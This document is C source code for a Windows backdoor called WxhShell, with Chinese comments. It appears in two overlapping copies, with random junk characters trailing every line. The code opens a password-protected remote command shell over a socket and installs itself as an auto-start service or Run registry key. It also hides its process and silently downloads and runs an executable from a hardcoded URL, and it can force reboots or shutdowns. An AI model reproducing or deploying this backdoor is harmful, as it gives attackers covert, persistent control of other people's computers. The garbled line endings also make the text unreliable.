    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sFT-aLpL@V  
    if(Boot(SHUTDOWN)) b(wW;C'#0p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \|L ~#{a  
    else { am]$`7R5d  
    closesocket(wsh); g0: mm,t\  
    ExitThread(0); n? e&I>1W  
    } Pe6MDWR  
    break; kid3@  
    } MRMsw NQ  
  // 获取shell "M3R}<Vt  
  case 's': { b*+Od8r  
    CmdShell(wsh); vSb$gl5H  
    closesocket(wsh); K@)Hm\*  
    ExitThread(0); w4\b^iJz  
    break; $Y5R^Y  
  } h# c.HtVE  
  // 退出 ^i&sQQ( {  
  case 'x': { wf)T-]e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k1e0kxn  
    CloseIt(wsh); k|(uIU* ]  
    break; f"\G"2C  
    } f02 <u  
  // 离开 s"7wG!yf  
  case 'q': { &U^6N+l9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0>} FNRC  
    closesocket(wsh); 9tDo5 29  
    WSACleanup(); 80TSE*  
    exit(1); A.8{LY;  
    break; /GCI`hx>"  
        } vq-Tq>  
  } iG()"^G  
  } xE`uFHuS}  
Cbv$O o*  
  // 提示信息 F)Oe;z6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d:cs8f4>  
} ;.>CDt-E]  
  } a NhI<.v  
#usi1UWB#Q  
  return; }SpjB  
} ?:73O`sX:  
\Ld/'Z;w  
// shell模块句柄 YC+}H3 3  
int CmdShell(SOCKET sock) |3j'HN5S  
{ `"`/_al^  
STARTUPINFO si; {>$i)B  
ZeroMemory(&si,sizeof(si)); BV_rk^}Ur  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lM oi5q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d~ n|F|`:  
PROCESS_INFORMATION ProcessInfo; +0) s {?  
char cmdline[]="cmd"; nQm7At  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @AET.qGC  
  return 0; {/d<Jm:  
} M+4>l\   
^'9:n\SKQ  
// 自身启动模式 o,}`4_N||  
int StartFromService(void) 4JV/Ci5  
{ pD;'uEFBQ  
typedef struct X <QSi   
{ V/xGk9L~  
  DWORD ExitStatus; |-t>_+. J'  
  DWORD PebBaseAddress; k<xPg5  
  DWORD AffinityMask; qbcaiU`-^"  
  DWORD BasePriority; 7:iTx;,v  
  ULONG UniqueProcessId; 6xI9 %YDy  
  ULONG InheritedFromUniqueProcessId; 5M6`\LyU  
}   PROCESS_BASIC_INFORMATION; YhQ;>Ko  
-!w({rP  
PROCNTQSIP NtQueryInformationProcess; b7;`A~{9v  
)> >Tj7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; LcL|'S)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;J<K/YdI  
N_<wiwI<  
  HANDLE             hProcess; 5MU-Eu|*>  
  PROCESS_BASIC_INFORMATION pbi; pYXusS7S  
fviq}.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;.dyuKlI  
  if(NULL == hInst ) return 0; vxN,oa{hf  
?4QX;s7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O>FE-0rW}e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h zv4+1Wd[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m[l[yUw#  
:`U@b 6  
  if (!NtQueryInformationProcess) return 0; F`C$F!GE  
\Z~|ry0v{d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Xx)PyO  
  if(!hProcess) return 0; 5SOl:{A +  
LHJ}I5zv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YC,)t71l{  
n*yVfI  
  CloseHandle(hProcess); ePD~SO9*  
 :oN$w\A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g$CWGB*%lm  
if(hProcess==NULL) return 0; Jw -?7O  
3fdx&}v/  
HMODULE hMod; yDl{18~zv  
char procName[255]; %t.L;G  
unsigned long cbNeeded; yAyq-G"sO  
]x12_+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9?xD"Z   
LN!e_b  
  CloseHandle(hProcess); L+GVB[@3Y  
)P|&o%E  
if(strstr(procName,"services")) return 1; // 以服务启动 >^odV ;^  
A3su!I2S  
  return 0; // 注册表启动 p]lZ4#3  
} =eHoJq  
Of@ LEEh6  
// 主模块 \7\7i-Vo  
int StartWxhshell(LPSTR lpCmdLine) ()\=(n!J  
{ _{k-&I  
  SOCKET wsl; &xgKHbg  
BOOL val=TRUE; \jHHj\LLr.  
  int port=0; *PF}L%K(?  
  struct sockaddr_in door; IGKtugU%  
F4R0A6HL  
  if(wscfg.ws_autoins) Install(); ;]c:0W '  
X`s6lV%\  
port=atoi(lpCmdLine); d~hN`ff  
s+fjQo4  
if(port<=0) port=wscfg.ws_port; WR<,[*Mv^  
$eSSW+8q"  
  WSADATA data; G*y! Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1 x'H #  
8mh@C6U  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2d60o~ E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -u nK;  
  door.sin_family = AF_INET; azCod1aL{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \GP0FdpV  
  door.sin_port = htons(port); Tu[I84  
bd$``(b`v  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l'Kx#y$  
closesocket(wsl); L8{4>,  
return 1; s~tZN  
} 4))5l9kc.  
t`!@E#VK  
  if(listen(wsl,2) == INVALID_SOCKET) { `z!6zo2d  
closesocket(wsl); tmgZNg  
return 1; n~mP7X%wE7  
} O,_k.EH  
  Wxhshell(wsl); ]ME2V  
  WSACleanup(); j0.E!8Ae{  
yBYZ?gc  
return 0; b+tm[@|,v  
TOge!Q>a  
} 6$5?%ZLJ  
 JE=3V^k  
// 以NT服务方式启动 }xb?C""q^q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }7+`[g  
{ j FH wu*  
DWORD   status = 0; @p 2XaqZ  
  DWORD   specificError = 0xfffffff; k"pN  
1x3>XN]a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gnWEsA\!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; KfkU_0R+~v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3cSP1=$*  
  serviceStatus.dwWin32ExitCode     = 0; 1>'xmp+#  
  serviceStatus.dwServiceSpecificExitCode = 0; Nq >"vEq)  
  serviceStatus.dwCheckPoint       = 0; VC.zmCglo^  
  serviceStatus.dwWaitHint       = 0; ^$x1~}D  
UPGS/Xs]1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H9Dw#.em  
  if (hServiceStatusHandle==0) return; GWCU 9n  
"x4}FQ  
status = GetLastError(); gaC [%M  
  if (status!=NO_ERROR) SFkB,)Z N  
{ Cb i;CF\{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uMb[0-5  
    serviceStatus.dwCheckPoint       = 0; M}\p/r=  
    serviceStatus.dwWaitHint       = 0; }Q-%ij2  
    serviceStatus.dwWin32ExitCode     = status; =DsFR9IB  
    serviceStatus.dwServiceSpecificExitCode = specificError; 16|miK[@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w%uM=YmuT  
    return; Rl[SqmnI)@  
  } du>d?  
eEZZ0NNe;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _`d=0l*8  
  serviceStatus.dwCheckPoint       = 0; %j. *YvveW  
  serviceStatus.dwWaitHint       = 0; ^CfWLL& c  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -40s  
} V[^ +lR  
X(qs]:  
// 处理NT服务事件,比如:启动、停止 W;^6=(&xn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |gwGCa+  
{ n,*E s/\  
switch(fdwControl) N D1'XCN  
{ 8<_dNt'91  
case SERVICE_CONTROL_STOP: C%q]o  
  serviceStatus.dwWin32ExitCode = 0; }S=m: VKH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; aBT8mK -.  
  serviceStatus.dwCheckPoint   = 0; Zd~Q@+sH  
  serviceStatus.dwWaitHint     = 0; 1pJ?YV  
  { !~!\=etm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); / 0y5/  
  } J"?jaa2~  
  return; miEf<<L#z  
case SERVICE_CONTROL_PAUSE: 'da$i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; GN=-dLN  
  break; LR% P\~  
case SERVICE_CONTROL_CONTINUE: qLk7C0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6(-c$d`C.0  
  break; x%OJ3Qjj=  
case SERVICE_CONTROL_INTERROGATE: [9,34/i  
  break; =g<Yi2  
}; fk'DJf[M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M6:$ 0(r  
} jM;?);Dd  
oRQ( l I>  
// 标准应用程序主函数 ~NZ}@J{00_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _GsHT\  
{ 3Ss)i7  
*# ;  
// 获取操作系统版本 Tk:%YS;=  
OsIsNt=GetOsVer(); 2,e>gP\]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); u=& $Z  
Pw/$ }Q9X  
  // 从命令行安装 eJ_$Etc  
  if(strpbrk(lpCmdLine,"iI")) Install(); *ez7Q   
Vh8RVFi;c  
  // 下载执行文件 eDL0Vw  
if(wscfg.ws_downexe) { GpGq' 8|(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) eGi|S'L'  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?RU_SCp-  
} o{xA{ @<  
4S*7*ak{  
if(!OsIsNt) { v\Edf;(  
// 如果时win9x,隐藏进程并且设置为注册表启动 8rM1kOCf  
HideProc(); Na{&aqdz  
StartWxhshell(lpCmdLine); Lo uYY: Q  
} V2BsvR`  
else ?oulQR6:  
  if(StartFromService()) }`D-]/T8.  
  // 以服务方式启动 +YnQOh%v0s  
  StartServiceCtrlDispatcher(DispatchTable); % QI6`@Y"  
else &OP =O*B  
  // 普通方式启动 "<1-9CMl  
  StartWxhshell(lpCmdLine); MVZ9x%  
[K#pU:lTH  
return 0; ^|lG9z%Foy  
} GL'zNQP-  
.MI 5?]_  
f$]ttU U  
nCPIpw,]M  
=========================================== (m& ''yaH  
/V f L(  
'Z`fZ5q  
&T[BS;  
CQ^I;[=d  
iYb{qv_4  
" ]R6Z(^XT,E  
-`d(>ok  
#include <stdio.h> A:YWXcg  
#include <string.h> <n)R?P(or  
#include <windows.h> .Af H>)E  
#include <winsock2.h> 73tWeZ8rvx  
#include <winsvc.h> ,7*-%05[\  
#include <urlmon.h> O:Ob{k  
kq=tL@W`0}  
#pragma comment (lib, "Ws2_32.lib") E K#ib  
#pragma comment (lib, "urlmon.lib") Ll'!aar,  
MRL,#+VxA  
#define MAX_USER   100 // 最大客户端连接数 iBPx97a  
#define BUF_SOCK   200 // sock buffer H\ONv=}7I  
#define KEY_BUFF   255 // 输入 buffer `%Uz0hF  
C;.+ kE  
#define REBOOT     0   // 重启 rBovC  
#define SHUTDOWN   1   // 关机 ybgAyJ{J<  
R; Gf3K  
#define DEF_PORT   5000 // 监听端口 0fU^  
/7-qb^V  
#define REG_LEN     16   // 注册表键长度 DU.[Sp  
#define SVC_LEN     80   // NT服务名长度 }Q%fY&#(bp  
"f3KE=cUm  
// 从dll定义API MtIhpTX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tx{tIw^2;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9G=ZB^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &yQM 8J~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >"z&KZKI  
7{:g|dX  
// wxhshell配置信息 Dt8wd,B  
struct WSCFG { Zfn390_  
  int ws_port;         // 监听端口 |? l6S  
  char ws_passstr[REG_LEN]; // 口令 =| M[JPr  
  int ws_autoins;       // 安装标记, 1=yes 0=no >!|(n @  
  char ws_regname[REG_LEN]; // 注册表键名 yyVv@  
  char ws_svcname[REG_LEN]; // 服务名 a?QDf5C q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kN,WB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 C/je5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2e @zd\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9XPQ1LSx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]VS$ ?wD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k 1   
Mb0cdK?hA  
}; 8{Id+Q>Vo,  
3U73_=>=&  
// default Wxhshell configuration  >o"3:/3  
struct WSCFG wscfg={DEF_PORT, >4}2~;  
    "xuhuanlingzhe", OY/sCx+c  
    1, DG $._  
    "Wxhshell", a>{b'X^LV  
    "Wxhshell", KGI0|Z]n~  
            "WxhShell Service", 'hM?J*m  
    "Wrsky Windows CmdShell Service", >@o}l:*  
    "Please Input Your Password: ", JV#)?/a$z  
  1, %wp#vO-$  
  "http://www.wrsky.com/wxhshell.exe", zu Jl #3YP  
  "Wxhshell.exe" ceu}Lp^%/  
    }; boR&'yX  
wGC)gW  
// 消息定义模块 y`EcBf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K$..#]\TM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2eBA&t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; R.EA5X|_  
char *msg_ws_ext="\n\rExit."; 3e g<)  
char *msg_ws_end="\n\rQuit."; |ei?s1)  
char *msg_ws_boot="\n\rReboot..."; {&Fh$H!  
char *msg_ws_poff="\n\rShutdown..."; $MmCh&V  
char *msg_ws_down="\n\rSave to "; ZTx~+'(  
Zbp ByRyN  
char *msg_ws_err="\n\rErr!"; <(Wa8PY2(  
char *msg_ws_ok="\n\rOK!"; y^gazr"  
2b]'KiX  
char ExeFile[MAX_PATH]; ,Jf)A/_  
int nUser = 0; %&yD^ q_  
HANDLE handles[MAX_USER]; *My?l75  
int OsIsNt; Qj? G KO  
b-{\manH  
SERVICE_STATUS       serviceStatus; In0kP"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V X<ZB +R  
"9 -duDg  
// 函数声明 b\ %=mN  
int Install(void); 9Osjh G  
int Uninstall(void); -P5VE0  
int DownloadFile(char *sURL, SOCKET wsh); 0C}7=_?  
int Boot(int flag); daaEN(  
void HideProc(void); ZbYwuyHk(3  
int GetOsVer(void); KLXv?4!  
int Wxhshell(SOCKET wsl); aho;HM$hjP  
void TalkWithClient(void *cs); buRXzSR  
int CmdShell(SOCKET sock); j$#pG  
int StartFromService(void); <GShm~XD2  
int StartWxhshell(LPSTR lpCmdLine); k3[ ~I'  
uKqN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !GMb~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^6+P&MxM  
Mz<4P3"H  
// 数据结构和表定义 RC8{QgaI  
SERVICE_TABLE_ENTRY DispatchTable[] = %#NaM\=8v  
{ bG>pm|/  
{wscfg.ws_svcname, NTServiceMain}, ;0}$zy1EZ  
{NULL, NULL} |Gjd  
}; pN&Dpz^  
f& (u[W  
// 自我安装 zp4Jd"XBX  
int Install(void) # 3uXgZi  
{ @4h .?  
  char svExeFile[MAX_PATH]; W k'()N  
  HKEY key; K 3?7Hndf2  
  strcpy(svExeFile,ExeFile); 'R~x.NM  
E'$r#k:o  
// 如果是win9x系统,修改注册表设为自启动 au5 74tj  
if(!OsIsNt) { _p7c<$ ;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Og%qv Bj 6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D<}KTyG]  
  RegCloseKey(key); p0uQ>[NV0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Te2XQU2,F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j0o_``  
  RegCloseKey(key); Hbx=vLQ6  
  return 0; Bfaj4i ;_  
    } 1d|+7  
  } rO 6oVz#x  
} Tm[IOuhM'?  
else { UBi0 /  
eqs.zL  
// 如果是NT以上系统,安装为系统服务 h5x FP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vgHMVzxj  
if (schSCManager!=0) >va#PFHA  
{ J`uV $l:  
  SC_HANDLE schService = CreateService -GCGxC2u  
  ( bKmR &  
  schSCManager, ^ {-J Y  
  wscfg.ws_svcname, 0NZg[>H  
  wscfg.ws_svcdisp, Am!$\T%2  
  SERVICE_ALL_ACCESS, D>~z{H%\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  hPx=3L$  
  SERVICE_AUTO_START, 0~R0)Q,  
  SERVICE_ERROR_NORMAL, d;9 X1`"  
  svExeFile, \NS\>Q+d  
  NULL, 6N:fq  
  NULL, mE%H5&VSI  
  NULL, U8?QyG 2A  
  NULL, 5)2lZ(5.A#  
  NULL #)hM]=,e  
  ); eL#pS=  
  if (schService!=0) F.?^ko9d  
  { 5"c#O U  
  CloseServiceHandle(schService); K]oFV   
  CloseServiceHandle(schSCManager); B~V^?."  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0tC+?  
  strcat(svExeFile,wscfg.ws_svcname); ON~SZa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !GURn1vcAe  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nxKV7d@R  
  RegCloseKey(key); x;99[C!$  
  return 0; cc*A/lD  
    } YbND2 i  
  } g a? .7F  
  CloseServiceHandle(schSCManager); fl!8\4  
} dG'aJQw  
} - {>JF  
PR|F-/o  
return 1; ,H2[["1DH  
} :&HrOdz  
5yI_uQR  
// 自我卸载 p2GkI/6)uu  
int Uninstall(void) ?gY^,Ckj  
{ 0hn N>?  
  HKEY key; ^J< I Ia4  
2)Grl;T]s  
if(!OsIsNt) { x?9rT 0D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t4/d1qW0  
  RegDeleteValue(key,wscfg.ws_regname); %# ?)+8"l  
  RegCloseKey(key); 4`yCvPu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HJo&snT3  
  RegDeleteValue(key,wscfg.ws_regname); WolkW:(Cg  
  RegCloseKey(key); "9jt2@<  
  return 0; d`5xd@p  
  } SpU+y|\[0  
} s3>,%8O6  
} "-88bF~  
else { WUm8 3"  
eY)ugq>'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q0K2md_%x  
if (schSCManager!=0) {`2! 3= "  
{ RZ-=UIf  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'G;y!<a  
  if (schService!=0) -~ \R.<+  
  { wmAZ {  
  if(DeleteService(schService)!=0) { +F.{:  
  CloseServiceHandle(schService); l\xcR]O  
  CloseServiceHandle(schSCManager); sG[v vm  
  return 0; ecDni>W  
  } d]{wZ#x  
  CloseServiceHandle(schService); j*+[=X/  
  } @iwVU]j  
  CloseServiceHandle(schSCManager); VW:WB.K$  
} HX%lL }E  
} v._Q XcE  
rp^= vfW  
return 1; .sI*\@w.  
} .< 7M4Z  
W^#HR  
// 从指定url下载文件 B( r~Nvc  
int DownloadFile(char *sURL, SOCKET wsh) m}ZkNWH  
{ wX5Yo{  
  HRESULT hr; < %@e<,8  
char seps[]= "/"; cCx@VT`0  
char *token; VBnD:w"z  
char *file; nb-]fa  
char myURL[MAX_PATH]; KZrg4TEVi  
char myFILE[MAX_PATH]; t6u>_Sh e  
KYa}k0tVAp  
strcpy(myURL,sURL); ^{Wx\+*!  
  token=strtok(myURL,seps); )aSj!X'`;  
  while(token!=NULL) cHo@F!{o=  
  { 2E5n07,  
    file=token; <L'!EcHm%]  
  token=strtok(NULL,seps); ASGV3r (  
  } )gF>nNE  
K/WnK:LU  
GetCurrentDirectory(MAX_PATH,myFILE); (bhMo^3/*  
strcat(myFILE, "\\"); VWhq +8z  
strcat(myFILE, file); wHx@&Tp  
  send(wsh,myFILE,strlen(myFILE),0); XBx&&  
send(wsh,"...",3,0); wavyREK   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3DjlX*  
  if(hr==S_OK) Rhi`4wo0$  
return 0; rtM29~c>@  
else P+ ejyl,  
return 1; '`s\_Q)hG_  
7x> \/l(  
} eBT+|  
wFbw3>'a9  
// 系统电源模块 [A jY ~  
int Boot(int flag) ;]gj:6M  
{ !O )je>A  
  HANDLE hToken; e^!>W %.7Z  
  TOKEN_PRIVILEGES tkp; D[jPz0  
zX]4DLl,  
  if(OsIsNt) { S?Y%}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r0^*|+   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &VPfI  
    tkp.PrivilegeCount = 1; A4K8DP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y@XE! L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gh9Gc1tKt  
if(flag==REBOOT) { k2-+3zx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \]Bwib%h  
  return 0; 8kdJ;%^N  
} Mi^/`1  
else { WRCf [5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =Ju%3ptH0  
  return 0; bU$f4J  
} evSr?ys  
  } R1cOUV,y[/  
  else { %2@O,uCo@  
if(flag==REBOOT) { tl6x@%\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U{C& R&z  
  return 0; PAD&sTjE*  
} N({0"7  
else { Kcu*Z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qV{iUtYt  
  return 0; E !EENg  
} d DrzO*a\  
} SD  _P=?  
|S6L[Uo  
return 1; zhZ!!b^6<  
} aN5"[&  
1xTNrLW  
// win9x进程隐藏模块 -|DBO0q  
void HideProc(void) % <1&\5f<5  
{ MA,7 |s  
a7U`/*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yedEI[_4  
  if ( hKernel != NULL ) A.+Qa  
  { i'YM9*yN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wbQs>pc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^aI$97Li  
    FreeLibrary(hKernel);  9dCf@5]  
  }  0`QF:  
\o}=ob  
return; 7Z< 2`&c7  
} !d Z:Ih.[{  
#z#`EBXV$6  
// 获取操作系统版本 7pO/!Lm  
int GetOsVer(void) 1|WrJ-Uf  
{ !g[UFw  
  OSVERSIONINFO winfo; WRqpQEY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SG@E*yT1  
  GetVersionEx(&winfo); T+j-MR}{\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o`M.v[O  
  return 1; dZkj|Ua~  
  else jaL#  
  return 0; * "d['V3  
} Gp0yRT.  
y=&^=Z h[  
// 客户端句柄模块 W`F?j-4  
int Wxhshell(SOCKET wsl) PiJ >gDx  
{ 9j>LU<Z  
  SOCKET wsh; 24I\smO  
  struct sockaddr_in client; B=)tq.Q7  
  DWORD myID; RjxFlKs8  
, lFhLj7  
  while(nUser<MAX_USER) y:YJv x6&4  
{ }u+cS[#-  
  int nSize=sizeof(client); z9 $1jC  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O ]!/fZ;(  
  if(wsh==INVALID_SOCKET) return 1; ]D<3y IGS  
FO:k >F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (mgv:<c;BA  
if(handles[nUser]==0) a8 .x=j<  
  closesocket(wsh); *?~&O.R"  
else dmYgv^t  
  nUser++; JIXZI\Fk  
  } AP9>_0=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `Y,<[ Lnr  
BnU3oP  
  return 0; /Jc54d  
} ,.i)(Or  
lnnT_[ni.  
// 关闭 socket /DX6Hkkj%  
void CloseIt(SOCKET wsh) 4tlLh`-8  
{ jJ3dZ<#  
closesocket(wsh); ~\UAxB=  
nUser--; ozkmZ;  
ExitThread(0); }8dS[-.  
} 'RpX&g  
$H"(]>~  
// 客户端请求句柄 $q g/8G  
void TalkWithClient(void *cs) lNx:_g:SrZ  
{ [!YSW'  
xeW}`i5_w  
  SOCKET wsh=(SOCKET)cs; Cznp(z  
  char pwd[SVC_LEN]; ?sc lOOh  
  char cmd[KEY_BUFF]; 2}6StmE }  
char chr[1]; O~c\+~5M*  
int i,j; ]O0:0Z\  
?@H/;hB[|  
  while (nUser < MAX_USER) { ;oWak`]f  
lr9s`>9  
if(wscfg.ws_passstr) { Rv|X\Wm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y(R .e7]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'a=' (,%  
  //ZeroMemory(pwd,KEY_BUFF); ]dL#k>$0q  
      i=0; W$`p ,$.n  
  while(i<SVC_LEN) { -op(26:W<  
 lx&;?QQ  
  // 设置超时 :y^%I xs{1  
  fd_set FdRead; V%JG :'6L  
  struct timeval TimeOut; 3>%:%bP  
  FD_ZERO(&FdRead); ;mSJZYnT  
  FD_SET(wsh,&FdRead); 6MmkEU z  
  TimeOut.tv_sec=8; f vr|<3ojo  
  TimeOut.tv_usec=0; p]x9hZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  4_d'Uh&]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t&H3yV  
?btZdnQ))S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z?)=4|  
  pwd=chr[0]; :NXM.@jJ="  
  if(chr[0]==0xd || chr[0]==0xa) { uol EX+  
  pwd=0; kGW4kuh)/q  
  break; UJk/Lxv  
  } !c;BOCqa  
  i++; h5}:>yc  
    } >.r> aH  
18o5Gs;yx  
  // 如果是非法用户,关闭 socket rf YFS96  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %)sG 34  
} Y *n[*N  
iDV. C@   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8Lr&-w8J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !EB[Lut m  
>M^4p   
while(1) { [6f(3|"  
Rp_)LA  
  ZeroMemory(cmd,KEY_BUFF); E @7);i5K  
&z?:s  
      // 自动支持客户端 telnet标准   YOQ>A*@4  
  j=0; `R,g_{M j  
  while(j<KEY_BUFF) { Rv)>x w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q[MWzsx  
  cmd[j]=chr[0]; LyG&FOf?  
  if(chr[0]==0xa || chr[0]==0xd) { M&^Iun  
  cmd[j]=0; UzT"Rb:e  
  break; k.!m-5E  
  } C(}N*e1  
  j++; 3h`_Qv%g  
    } F-PQ`@ZNW  
>wf.C%  
  // 下载文件 cc{^0JT  
  if(strstr(cmd,"http://")) { L'r gCOJ<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V~fPp"F  
  if(DownloadFile(cmd,wsh)) u:M)JG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); s_%KWkS  
  else ;- 6   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5LzP0F U  
  } #b94S?dq  
  else {  |: ,i  
#"!q_@b,D  
